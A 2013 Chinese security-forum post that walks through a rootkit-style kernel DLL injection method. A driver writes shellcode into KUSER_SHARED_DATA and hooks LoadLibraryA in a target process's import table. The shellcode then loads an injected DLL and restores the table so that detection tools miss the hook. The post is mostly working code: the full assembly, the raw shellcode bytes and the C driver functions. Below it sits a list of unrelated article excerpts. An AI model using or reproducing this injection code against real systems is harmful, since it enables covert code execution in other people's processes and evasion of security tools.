【原创】内核ShellCode注入的一种方法
作 者: organic
时 间: 2013-05-04,04:34:08
链 接: http://bbs.pediy.com/showthread.php?t=170959
最近学习内核注入,看见一篇老文章《rootkit之[七]IAT Hook -- HybridHook之终极打造》链接:http://bbs.pediy.com/showthread.php?t=60778,利用KUSER_SHARED_DATA写入shellcode在ring3下弹出一个消息框,于是想利用此方法来进行内核注入,但不想惨遇蓝屏,于是翻书多日并琢磨摸索,终于成功,详细如下
一、先写一段shellcode
主要思路是:
1、 程序开始加载时,通过内核修改LoadLibraryA在其IAT中的地址,指向我们的shellcode
2、 Shellcode中首先调用LoadLibraryA加载我们要注入的Dll
3、 通过PEB找到kernel32.dll基地址
4、 调用GetAPI搜索kernel32.dll找到VirtualProtect的地址,开始用了别人写的一个GetAPI,老是出问题,就自己写了个,由于kernel32.dll中FAT和FNT刚好对应,就没用FOT进行判断了(偷懒下,有兴趣的朋友可以自行修改)
5、 调用VirtualProtect修改程序LoadLibraryA在其IAT中地址的读写属性(不改的话会出现写保护错误),恢复LoadLibraryA正确的地址,这样一般工具就检查不出我们对程序进行了IAT hook了
6、 跳转回LoadLibraryA继续执行
代码:
jmp ShellCodeStart
Addr_IAT_LoadLibraryA dd 402000h ;LoadLibraryA在IAT中的地址,由注入函数写入
Addr_LoadLibraryA dd 7C801D77h ;LoadLibraryA的地址,由注入函数写入,在ShellCode + 2 + 4处
Addr_VirtualProtectName db "VirtualProtect",0 ;VirtualProtect名称的地址
Addr_LoadDllName db "InputDll.dll",0
ShellCodeStart:
push ebx
push ecx
push edx
push esi
push edi
push ebp
xor ecx, ecx ;查找kernel32.dll基址放入eax,xor ecx, ecx不可丢
assume fs:nothing
mov esi, fs:[30h] ;取PEB
mov esi, [esi+0Ch]
mov esi, [esi+1Ch]
InInitializationOrderModuleList:
mov eax, ds:[esi+8]
mov edi, ds:[esi+20h]
mov esi, ds:[esi]
cmp WORD ptr ds:[edi+18h],cx
jnz InInitializationOrderModuleList
push ebp
call RelocLocation ;push eip,eip = 新RelocLocation的地址
RelocLocation:
pop ebp ;将eip出栈给ebp,ebp = 新RelocLocation的地址
sub ebp, offset RelocLocation ;ebp = ebp - offset RelocLocation(原RelocLocation地址)= 新旧地址的差值(参考重定位),后续需重定位的地址 = 原地址 + ebp
mov ecx, ebp ;取Addr_VirtualProtectName重定位后的地址并压栈
add ecx, offset Addr_VirtualProtectName
invoke GetAPI, eax, ecx, 14 ;调用GetAPI获取VirtualProtect的地址
mov ebx, eax ;将获取的地址放入ebx中 mov eax, ebp ;取Addr_LoadDllName重定位后的地址并压栈
add eax, offset Addr_LoadDllName
push eax
lea esi, [ebp + Addr_LoadLibraryA] ;取Addr_LoadLibraryA重定位后的地址,并调用LoadLibraryA
call DWORD ptr [esi] ;API为stdcall调用,自平衡堆栈
mov edi, [ebp + Addr_IAT_LoadLibraryA] ;取LoadLibraryA在IAT的地址
push eax ;随便压栈一个数,我们要用这个数的地址作为VirtualProtect的lpflOldProtect的地址,因为ShellCode的代码段不可写,只能用堆栈返回
push esp ;调用VirtualProtect修改IAT的写保护
push PAGE_READWRITE
push 4
push edi
call ebx
pop eax
mov eax, [esi] ;[esi] = LoadLibraryA的地址
mov [edi], eax ;将LoadLibraryA在IAT的地址改为IDHookLoadLibraryA的地址
pop ebp ;平衡
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
jmp eax ;跳转至LoadLibraryA继续执行
GetAPI proc _Kernel32Base:DWORD, _szAPIName:DWORD, _APINameLength:DWORD
local @SizeOfFNT:DWORD
local @APIAddr:DWORD
pushad
mov ebx, _Kernel32Base
assume ebx:ptr IMAGE_DOS_HEADER
add ebx, [ebx].e_lfanew ;取PE的首地址,即PE标志位
assume ebx:ptr IMAGE_NT_HEADERS
mov ebx, [ebx].OptionalHeader.DataDirectory.VirtualAddress
add ebx, _Kernel32Base
assume ebx:ptr IMAGE_EXPORT_DIRECTORY
mov eax, [ebx].NumberOfNames ;将函数总数乘以4,得FNT表大小
shl eax, 2
mov @SizeOfFNT, eax
mov edi, [ebx].AddressOfNames ;获取输出表API名称查询表(FNT)RVA
add edi, _Kernel32Base ;获取输出表API名称查询表(FNT)内存地址
mov esi, _szAPIName
mov ecx, _APINameLength
xor edx, edx
xor eax, eax ;eax置0 .while edx < @SizeOfFNT ;遍历Dll所有函数名称,当计数edx=Dll函数总数时退出循环
push ecx ;保存字符串长度
push edi ;保存edi,比较API名称
push esi
mov edi, [edi] ;取API名称的RVA
add edi, _Kernel32Base ;取API名称的内存地址
cld
repe cmpsb
pop esi ;将esi重新指向_szAPIName首地址
pop edi
pop ecx
jnz FAA_FindExportAPIAddr_NoFind ;如果ecx=0,说明函数字符全部相同
mov eax, [ebx].AddressOfFunctions ;取FAT表RVA
add eax, _Kernel32Base ;取FAT表RVA内存地址
add eax, edx ;取查找函数FAT表项的地址
mov eax, [eax] ;取查找函数的RVA
add eax, _Kernel32Base ;取查找函数的内存地址
mov @APIAddr, eax
.break ;找到则退出循环
FAA_FindExportAPIAddr_NoFind:
add edx, 4 ;计数+4指向下一个FNT表项
add edi, 4 ;edi指向下一个FNT表项
.endw
assume ebx:nothing
popad
mov eax, @APIAddr
ret
最后生成的shellcode如下:
0xEB,0x24,0x00,0x20,0x40,0x00,0x77,0x1D,0x80,0x7C,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x50,0x72,0x6F,0x74,0x65,0x63,0x74,0x00,0x49,0x6E,0x70,0x75,0x74,0x44,0x6C,0x6C,0x2E,0x64,0x6C,0x6C,0x00,0x53,0x51,0x52,0x56,0x57,0x55,0x33,0xC9,0x64,0x8B,0x35,0x30,0x00,0x00,0x00,0x8B,0x76,0x0C,0x8B,0x76,0x1C,0x8B,0x46,0x08,0x8B,0x7E,0x20,0x8B,0x36,0x66,0x39,0x4F,0x18,0x75,0xF2,0x55,0xE8,0x00,0x00,0x00,0x00,0x5D,0x81,0xED,0x65,0x10,0x40,0x00,0x8B,0xCD,0x81,0xC1,0x20,0x10,0x40,0x00,0x6A,0x0E,0x51,0x50,0xE8,0x2F,0x00,0x00,0x00,0x8B,0xD8,0x8B,0xC5,0x05,0x2F,0x10,0x40,0x00,0x50,0x8D,0xB5,0x1C,0x10,0x40,0x00,0xFF,0x16,0x8B,0xBD,0x18,0x10,0x40,0x00,0x50,0x54,0x6A,0x04,0x6A,0x04,0x57,0xFF,0xD3,0x58,0x8B,0x06,0x89,0x07,0x5D,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0xFF,0xE0,0x55,0x8B,0xEC,0x83,0xC4,0xF8,0x60,0x8B,0x5D,0x08,0x03,0x5B,0x3C,0x8B,0x5B,0x78,0x03,0x5D,0x08,0x8B,0x43,0x18,0xC1,0xE0,0x02,0x89,0x45,0xFC,0x8B,0x7B,0x20,0x03,0x7D,0x08,0x8B,0x75,0x0C,0x8B,0x4D,0x10,0x33,0xD2,0x33,0xC0,0xEB,0x28,0x51,0x57,0x56,0x8B,0x3F,0x03,0x7D,0x08,0xFC,0xF3,0xA6,0x5E,0x5F,0x59,0x75,0x12,0x8B,0x43,0x1C,0x03,0x45,0x08,0x03,0xC2,0x8B,0x00,0x03,0x45,0x08,0x89,0x45,0xF8,0xEB,0x0B,0x83,0xC2,0x04,0x83,0xC7,0x04,0x3B,0x55,0xFC,0x72,0xD3,0x61,0x8B,0x45,0xF8,0xC9,0xC2,0x0C,0x00
二、借鉴《rootkit之[七]IAT Hook -- HybridHook之终极打造》写内核,但发现采用pPeb->LoaderData->InLoadOrderModuleList遍历进程所加载模块蓝屏,于是跟了下,发现遍历已有的进程没问题,但打开我们的测试程序时就蓝屏,开WinDbg进入查看PEB发现测试程序第一次加载user32.dll时pPeb->LoaderData竟然为NULL,明显是这里引起的。所以我怀疑Windows映射user32.dll到程序时,进程Peb只进行了初始化,但未将其结构全部填充,有知道的大牛请指导指导
借鉴《rootkit之[七]IAT Hook -- HybridHook之终极打造》失败,怎么办呢,既然Peb未填充完全,我们再去看看EPROCESS是否能行,如下图所示,EProcess->ImageFileName已正确的初始化了,于是利用EProcess->ImageFileName检查是否是我们要注入的进程,但在测试的时候发现ImageFileName处所显示的名称很诡异,有时候会显示“DllLoad.exee”,还有时候是“DllLoad.e”,但“DllLoad”始终可以正确显示的,于是就写了个CheckProcessName以进程名(不包括exe)称判断是否是我们要注入的进程,同时利用SectionBaseAddress参数获取注入进程基址。
代码:
//名称:HookIAT
//功能:将要Hook的IAT地址换为我们shellcode的地址,并将原IAT地址替换为shellcode中要调用的地址
//参数1:_ProcessID= 加载进程的PID
//返回:成功则返回TURE,否则返回FALSE BOOL HookIAT(IN HANDLE _ProcessID, IN PUNICODE_STRING _FullImageName)
{
PEPROCESS pEProcess;
PVOID hModule, pHookAPIAddr;
BOOL HookIAT_Ret = FALSE; if (PsLookupProcessByProcessId(_ProcessID, &pEProcess) == STATUS_SUCCESS)
{
if (CheckProcessName(pEProcess->ImageFileName, HOOKPROCESSNAME) && (staHookFlag == FALSE))
{
KdPrint(("加载Dll=%wZ\n", _FullImageName));
//KdPrint(("_ProcessID=%x\n", (ULONG)_ProcessID));
//KdPrint(("pEProcess=%x\n", (ULONG)pEProcess));
KdPrint(("进程名称=%s\n", pEProcess->ImageFileName));
hModule = pEProcess->SectionBaseAddress;
//KdPrint(("基地址=%x\n", (DWORD)hModule)); KeAttachProcess(pEProcess); //切换至ring3空间
pHookAPIAddr = FindIATAddr(hModule, HOOKDLLNAME, HOOKAPINAME);
if (pHookAPIAddr)
{
if(InjectCode(pHookAPIAddr))
{
staHookFlag = TRUE;
KdPrint(("ShellCode注入成功"));
//UnInjectDll();
}
else
{
KdPrint(("ShellCode注入失败"));
}
}
else
{
KdPrint(("%s函数的IAT地址未找到\n", HOOKAPINAME));
}
KeDetachProcess();
}
} return HookIAT_Ret;
}
接下来就是搜索我们要注入的进程的IAT,找到LoadLibraryA的地址和IAT地址
代码:
//名称:FindIATAddr
//功能:寻找指定导入表函数名称的IAT地址
//参数1:pMapView = 模块的映射基址
//参数2:pszDllName = Dll名称
//参数3:pszAPIName = 函数名称
//返回:成功则返回函数在导入表的地址,否则返回NULL
PVOID FindIATAddr(PVOID _pMapView, PCHAR _pszDllName , PCHAR _pszAPIName)
{
DWORD RVA_ImportDirectory;
DWORD DllNum, i, index;
PVOID pDllName;
PWORD pIAT, pINT;
PIMAGE_IMPORT_BY_NAME pAPIName;
IMAGE_DOS_HEADER *pImg_DosHeader;
IMAGE_NT_HEADERS *pImg_NtHeader;
PIMAGE_IMPORT_DESCRIPTOR pImg_ImportDirectory;
pImg_DosHeader = _pMapView;
(ULONG)pImg_NtHeader = (ULONG)pImg_DosHeader + pImg_DosHeader->e_lfanew;
if (pImg_NtHeader->Signature != 0x4550) //判断是否为标准PE文件
{
KdPrint(("该文件不是标准PE文件\n"));
return NULL;
}
RVA_ImportDirectory = pImg_NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
DllNum = pImg_NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size / sizeof(IMAGE_IMPORT_DESCRIPTOR) ;
DllNum --;
if (RVA_ImportDirectory ==0)
{
KdPrint(("该程序没有输入表\n"));
return NULL;
}
KdPrint(("Dll数目=%d \n", DllNum)); (DWORD)pImg_ImportDirectory = (DWORD)_pMapView + RVA_ImportDirectory;
for (i=0; i<DllNum ; i++)
{
(DWORD)pDllName = pImg_ImportDirectory[i].Name + (DWORD)_pMapView;
//KdPrint(("Dll名称为%s: \n", pDllName)); if(VK_CmpString(pDllName, _pszDllName))
{
KdPrint(("%s已找到, i=%d \n", pDllName, i));
(DWORD)pImg_ImportDirectory += i*sizeof(IMAGE_IMPORT_DESCRIPTOR);
(DWORD)pIAT = (DWORD)_pMapView + pImg_ImportDirectory->FirstThunk;
(DWORD)pINT = (DWORD)_pMapView + pImg_ImportDirectory->OriginalFirstThunk;
for (index =0; pIAT[index] != 0; index++)
{
if ((pINT[index] & IMAGE_ORDINAL_FLAG) != IMAGE_ORDINAL_FLAG) //IMAGE_ORDINAL_FLAG =0x80000000,即当INT最高位为0时表示已函数名导入
{
(DWORD)pAPIName = (DWORD)_pMapView + pINT[index];
//KdPrint(("API名称为%s: \n", pAPIName->Name));
if (VK_CmpString((PCHAR)pAPIName->Name, _pszAPIName))
{
KdPrint(("%s函数已找到,IAT地址 =%x \n", pAPIName, &pIAT[index] ));
return &pIAT[index];
}
}
}
}
}
return NULL;
}
然后注入我们的shellcode,原《rootkit之[七]IAT Hook -- HybridHook之终极打造》中只Hook了GetProcAddress,未对其写回,所以只修改了shellcode中GetProcAddress的地址,由于我们内核注入Dll为了隐蔽,不能让工具或程序检测到我们IAT注入,所以我们这里也要将LoadLibraryA的IAT地址写入shellcode,再由shellcode将注入进程的IAT恢复,这样进程运行起来后就不知道被注入过了。
代码
//名称:InjectCode
//功能:注入代码
//参数1:_pIATAddr = 函数在导入表的地址,将此处改写为我们注入代码的地址
//返回:成功则返回STATUS_SUCCESS,否则返回STATUS_UNSUCCESSFUL BOOL InjectCode(PVOID _pIATAddr)
{
PMDL pMDL;
PDWORD pHookAddr;
DWORD Addr_sharedM = 0x7ffe0800; //KUSER_SHARED_DATA在ring3的地址 + ShellCode的偏移
DWORD Addr_sharedK = 0xffdf0800; //KUSER_SHARED_DATA在ring0的地址 + ShellCode的偏移
unsigned char Shellcode[] = {
0xEB,0x24,0x00,0x20,0x40,0x00,0x77,0x1D,0x80,0x7C,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x50,0x72,0x6F,0x74,0x65,0x63,0x74,0x00,0x49,0x6E,0x70,0x75,0x74,0x44,0x6C
,0x6C,0x2E,0x64,0x6C,0x6C,0x00,0x53,0x51,0x52,0x56,0x57,0x55,0x33,0xC9,0x64,0x8B,0x35,0x30,0x00,0x00,0x00,0x8B,0x76,0x0C,0x8B,0x76,0x1C,0x8B,0x46,0x08,0x8B,0x7E
,0x20,0x8B,0x36,0x66,0x39,0x4F,0x18,0x75,0xF2,0x55,0xE8,0x00,0x00,0x00,0x00,0x5D,0x81,0xED,0x65,0x10,0x40,0x00,0x8B,0xCD,0x81,0xC1,0x20,0x10,0x40,0x00,0x6A,0x0E
,0x51,0x50,0xE8,0x2F,0x00,0x00,0x00,0x8B,0xD8,0x8B,0xC5,0x05,0x2F,0x10,0x40,0x00,0x50,0x8D,0xB5,0x1C,0x10,0x40,0x00,0xFF,0x16,0x8B,0xBD,0x18,0x10,0x40,0x00,0x50
,0x54,0x6A,0x04,0x6A,0x04,0x57,0xFF,0xD3,0x58,0x8B,0x06,0x89,0x07,0x5D,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0xFF,0xE0,0x55,0x8B,0xEC,0x83,0xC4,0xF8,0x60,0x8B,0x5D,0x08
,0x03,0x5B,0x3C,0x8B,0x5B,0x78,0x03,0x5D,0x08,0x8B,0x43,0x18,0xC1,0xE0,0x02,0x89,0x45,0xFC,0x8B,0x7B,0x20,0x03,0x7D,0x08,0x8B,0x75,0x0C,0x8B,0x4D,0x10,0x33,0xD2
,0x33,0xC0,0xEB,0x28,0x51,0x57,0x56,0x8B,0x3F,0x03,0x7D,0x08,0xFC,0xF3,0xA6,0x5E,0x5F,0x59,0x75,0x12,0x8B,0x43,0x1C,0x03,0x45,0x08,0x03,0xC2,0x8B,0x00,0x03,0x45
,0x08,0x89,0x45,0xF8,0xEB,0x0B,0x83,0xC2,0x04,0x83,0xC7,0x04,0x3B,0x55,0xFC,0x72,0xD3,0x61,0x8B,0x45,0xF8,0xC9,0xC2,0x0C,0x00 };
KdPrint(("_pIATAddr = %x\n", (DWORD)_pIATAddr ));
pMDL = MmCreateMdl(NULL, _pIATAddr, 4);
if (!pMDL)
{
KdPrint(("创建MDL失败\n"));
return FALSE;
}
MmBuildMdlForNonPagedPool(pMDL);
pMDL->MdlFlags = pMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
pHookAddr = MmMapLockedPages(pMDL, KernelMode);
//_asm int 3 RtlCopyMemory((PVOID)Addr_sharedK, Shellcode, 249);
_asm //将LoadLibraryA输出表地址地址和LoadLibraryA地址写入ShellCode中
{
pushad
mov eax, _pIATAddr
mov edx, Addr_sharedK
add edx, 2
mov [edx], eax
mov eax, [eax]
add edx, 4
mov [edx], eax popad
}
//RtlCopyMemory((PVOID)(Addr_sharedK +5), _pIATAddr, 4);
*pHookAddr = Addr_sharedM; //将LoadLibraryA输出表地址改为0x7ffe0800(ShellCode地址)
MmUnmapLockedPages(pHookAddr, pMDL);
IoFreeMdl(pMDL); return TRUE;
}
最后再附上一个解除LoadImageNotifyRoutine的代码,《rootkit之[七]IAT Hook -- HybridHook之终极打造》中稍微复杂,但可兼容window2000,这里我们直接调用PsRemoveLoadImageNotifyRoutine
//名称:UnInjectDll
//功能:PsSetLoadImageNotifyRoutine的回调函数,
//参数1:无
//返回:无
NTSTATUS UnInjectDll()
{
NTSTATUS RetStatus; RetStatus = PsRemoveLoadImageNotifyRoutine(CallImageNotifyRoutines);
if (RetStatus == STATUS_SUCCESS)
{
KdPrint(("回调函数已解除\n"));
}
return RetStatus;
}
程序运行效果如下:
未注入前按下Test按钮:
注入后按下Test按钮:
最后发现用这个方法注入后会产生了3个LoadDll.exe进程,且其中2个在任务管理器中不能关闭,原因不明,有知道的烦请告诉我下
源码和测试程序:源码和测试程序.zip.
测试方法,用工具加载InjectDll,然后运行DllLoad,点击Test按钮*转载请注明来自看雪论坛@PEdiy.com
jpg改rar
【原创】内核ShellCode注入的一种方法的更多相关文章
- 网站mysql防止sql注入攻击 3种方法总结
mysql数据库一直以来都遭受到sql注入攻击的影响,很多网站,包括目前的PC端以及手机端都在使用php+mysql数据库这种架构,大多数网站受到的攻击都是与sql注入攻击有关,那么mysql数据库如 ...
- spring的ioc依赖注入的三种方法(xml方式)
常见的依赖注入方法有三种:构造函数注入.set方法注入.使用P名称空间注入数据.另外说明下注入集合属性 先来说下最常用的那个注入方法吧. 一.set方法注入 顾名思义,就是在类中提供需要注入成员的 s ...
- 防止 jsp被sql注入的五种方法
一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. 二.SQL注入攻击的总体 ...
- PHP实现防止SQL注入的2种方法
PHP简单实现防止SQL注入的方法,结合实例形式分析了PHP防止SQL注入的常用操作技巧与注意事项,PHP源码备有详尽注释便于理解,需要的朋友可以参考下! 方法一:execute代入参数 $var_V ...
- 防止sql注入的几种方法
一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. 二.SQL注入攻击的总体 ...
- 查看Linux系统版本信息的几种方法
一.查看Linux内核版本命令(两种方法): 1.cat /proc/version 2.uname -a 二.查看Linux系统版本的命令(3种方法): 1.lsb_release -a,即可列出所 ...
- Centos内核升级的三种方法
本文出自 “存储之厨” 博客,请务必保留此出处http://xiamachao.blog.51cto.com/10580956/1755354 在基于CentOS平台的工作过程中,难免有时需要升级或者 ...
- sqlmap进阶篇—POST注入三种方法
测试是否存在post注入 第一种方法 直接加--form让它自动加载表单 第二种方法 把form表单里面提交的内容复制出来,放到data中跑 第三种方法 先用burp suite抓包,把包的内容存到本 ...
- Android注入事件的三种方法比较
方法1:使用内部APIs 该方法和其他所有内部没有向外正式公布的APIs一样存在它自己的风险.原理是通过获得WindowManager的一个实例来访问injectKeyEvent/injectPoin ...
随机推荐
- zabbix3配置短信报警
需求:在zabbix服务器配置短信报警,当服务出现故障达到预警级别是通过发送短信的形式告诉运维人员,以便及时处理. 一.zabbix服务器端配置短信脚本 我的短信脚本放置位置为 /etc/zabbix ...
- 基于MQTT协议进行应用开发
官方协议有句如下的话来形容MQTT的设计思想: "It is designed for connections with remote locations where a "sma ...
- REDHAT一总复习1 ssh配置 禁用root用户SSH连接
生成SSH公钥 $ ssh-keygen 生成的公钥安装到指定的服务器上,这里安装到desktop0上的student账户 $ ssh-copy-id desktop0 $ su - 禁用root用户 ...
- 用swing也可以做出好看的界面
用Swing做出的例子:JavaFX做出的界面:后来又做出了自己编写的一套基于Synth的L&F,其与直接在代码中重绘某个组件不同,最大优点是具有可插拔性,即在不改变原有程序代码的情况下,用户 ...
- 使用xib封装一个view的步骤
1.新建一个xib文件描述一个view的内部结构(假设叫做SSTgCell.xib) 2.新建一个自定义的类 (自定义类需要继承自系统自带的view, 继承自哪个类, 取决于xib根对象的Class ...
- 深入浅析JAVA注解
注解,相信大家都会知道,像@requestMapping,@Resource,@Controller等等的一些注解,大家都用过,那么,他的工具类你用过吗?下面就和大家一起来分享一下注解工具类. 注解的 ...
- [原创]CSS3打造动态3D气球
周末在江边晨跑的时候发现很多 当时心血来潮就想,应该可以在网页中实现一下 这几天得闲就做了一下,效果如下 (尽量在最新版本的chrome或者firefox中查看) demo下载在文章最后 预览 --& ...
- linQ学习笔记之一
linq解决的问题 1.编程语言中的数据类型与数据库中的数据类型形成的两套体系 2.SQL编码体验落后 3.SQL和XML都有各自的查询语言,而对象没有自己的查询语言 linq简单的集合查询和fore ...
- oracle11gR2静默安装
oracle11G静默安装过程——linux环境 1.操作系统及Oracle版本 Linux版本:CentOS release 6.8 (Final) Oracle版本:Oracle Database ...
- 推荐一篇 关于REST 和 SOAP区别的文章
写的很出色! https://www.ibm.com/developerworks/cn/webservices/0907_rest_soap/ 我的感觉就是REST针对的是资源,通过api的URL就 ...